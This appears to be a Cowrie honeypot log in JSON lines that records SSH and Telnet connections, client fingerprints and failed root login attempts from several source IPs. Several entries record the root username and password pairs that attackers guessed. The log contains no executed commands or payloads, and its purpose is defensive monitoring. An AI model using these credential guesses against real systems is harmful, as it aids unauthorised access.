{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":48704,"dst_ip":"10.17.0.5","dst_port":22,"session":"725c1f9b5298","protocol":"ssh","message":"New connection: 43.173.88.240:48704 (10.17.0.5:22) [session: 725c1f9b5298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:34.877968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:34.882994Z","src_ip":"43.173.88.240","session":"725c1f9b5298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:34.951607Z","src_ip":"43.173.88.240","session":"725c1f9b5298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ark123","message":"login attempt [root/ark123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:35.260617Z","src_ip":"43.173.88.240","session":"725c1f9b5298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:36.332744Z","src_ip":"43.173.88.240","session":"725c1f9b5298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.125181674957275,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:05:54.398329Z","src_ip":"152.42.224.71","session":"08294d9ae2ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42296,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d2952371abd","protocol":"ssh","message":"New connection: 89.108.118.91:42296 (159.203.135.109:22) [session: 7d2952371abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:00.234169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:00.239146Z","src_ip":"89.108.118.91","session":"7d2952371abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:00.376753Z","src_ip":"89.108.118.91","session":"7d2952371abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avalon","message":"login attempt [root/avalon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:00.776797Z","src_ip":"89.108.118.91","session":"7d2952371abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:01.914662Z","src_ip":"89.108.118.91","session":"7d2952371abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173139572144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:06.951620Z","src_ip":"152.42.224.71","session":"847500414f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4e7af98b0c","protocol":"telnet","message":"New connection: 152.42.224.71:50428 (10.17.0.5:23) [session: ff4e7af98b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:08.364637Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":51490,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2af4b68ae88","protocol":"ssh","message":"New connection: 43.134.184.253:51490 (10.17.0.5:22) [session: e2af4b68ae88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:10.651777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:10.657974Z","src_ip":"43.134.184.253","session":"e2af4b68ae88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50432,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf9b0ca32117","protocol":"telnet","message":"New connection: 152.42.224.71:50432 (10.17.0.5:23) [session: cf9b0ca32117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:10.668068Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:10.903127Z","src_ip":"43.134.184.253","session":"e2af4b68ae88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spargeosu#^%*&138cucapulinpicior","message":"login attempt [root/spargeosu#^%*&138cucapulinpicior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:11.915878Z","src_ip":"43.134.184.253","session":"e2af4b68ae88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:13.164118Z","src_ip":"43.134.184.253","session":"e2af4b68ae88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.27119326591492,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:14.160983Z","src_ip":"152.42.224.71","session":"1d95bc81d07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47384,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2deb43e25ca","protocol":"telnet","message":"New connection: 152.42.224.71:47384 (10.17.0.5:23) [session: d2deb43e25ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:19.899296Z"}
{"eventid":"cowrie.session.closed","duration":9.75697112083435,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:29.656131Z","src_ip":"152.42.224.71","session":"d2deb43e25ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59588,"dst_ip":"10.17.0.5","dst_port":23,"session":"3abd35419153","protocol":"telnet","message":"New connection: 152.42.224.71:59588 (10.17.0.5:23) [session: 3abd35419153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:35.911299Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a964409c34a","protocol":"ssh","message":"New connection: 109.237.96.109:46212 (159.203.135.109:22) [session: 7a964409c34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:40.071366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:40.180783Z","src_ip":"109.237.96.109","session":"7a964409c34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:40.184420Z","src_ip":"109.237.96.109","session":"7a964409c34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"323232","message":"login attempt [root/323232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:40.602222Z","src_ip":"109.237.96.109","session":"7a964409c34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":51314,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1a2b6cd332","protocol":"ssh","message":"New connection: 43.173.88.240:51314 (10.17.0.5:22) [session: 1a1a2b6cd332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:41.476044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:41.483455Z","src_ip":"43.173.88.240","session":"1a1a2b6cd332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:41.551102Z","src_ip":"43.173.88.240","session":"1a1a2b6cd332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:41.697011Z","src_ip":"109.237.96.109","session":"7a964409c34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stage","message":"login attempt [root/stage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:41.854162Z","src_ip":"43.173.88.240","session":"1a1a2b6cd332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:42.925233Z","src_ip":"43.173.88.240","session":"1a1a2b6cd332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00717520713806,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:48.759405Z","src_ip":"152.42.224.71","session":"9f64537b1a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.42839980125427,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:49.792959Z","src_ip":"152.42.224.71","session":"ff4e7af98b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00205087661743,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:50.649848Z","src_ip":"152.42.224.71","session":"4d19a6a0dc1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.86637616157532,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:06:54.534303Z","src_ip":"152.42.224.71","session":"cf9b0ca32117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58160,"dst_ip":"10.17.0.5","dst_port":22,"session":"459a7042d024","protocol":"ssh","message":"New connection: 103.15.222.183:58160 (10.17.0.5:22) [session: 459a7042d024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.248806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.253830Z","src_ip":"103.15.222.183","session":"459a7042d024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60940,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f1e392c4919","protocol":"ssh","message":"New connection: 109.172.54.111:60940 (159.203.135.109:22) [session: 2f1e392c4919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.272924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.380525Z","src_ip":"109.172.54.111","session":"2f1e392c4919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.449806Z","src_ip":"109.172.54.111","session":"2f1e392c4919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.502007Z","src_ip":"103.15.222.183","session":"459a7042d024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:02.896999Z","src_ip":"109.172.54.111","session":"2f1e392c4919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:03.233593Z","src_ip":"103.15.222.183","session":"459a7042d024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:04.007961Z","src_ip":"109.172.54.111","session":"2f1e392c4919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:04.480181Z","src_ip":"103.15.222.183","session":"459a7042d024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43302,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c06f0ee9c8","protocol":"telnet","message":"New connection: 152.42.224.71:43302 (10.17.0.5:23) [session: 56c06f0ee9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:07.082743Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5198ff18c3ba","protocol":"telnet","message":"New connection: 152.42.224.71:43298 (10.17.0.5:23) [session: 5198ff18c3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:07.594248Z"}
{"eventid":"cowrie.session.closed","duration":11.419251680374146,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:19.013372Z","src_ip":"152.42.224.71","session":"5198ff18c3ba","protocol":"telnet"}
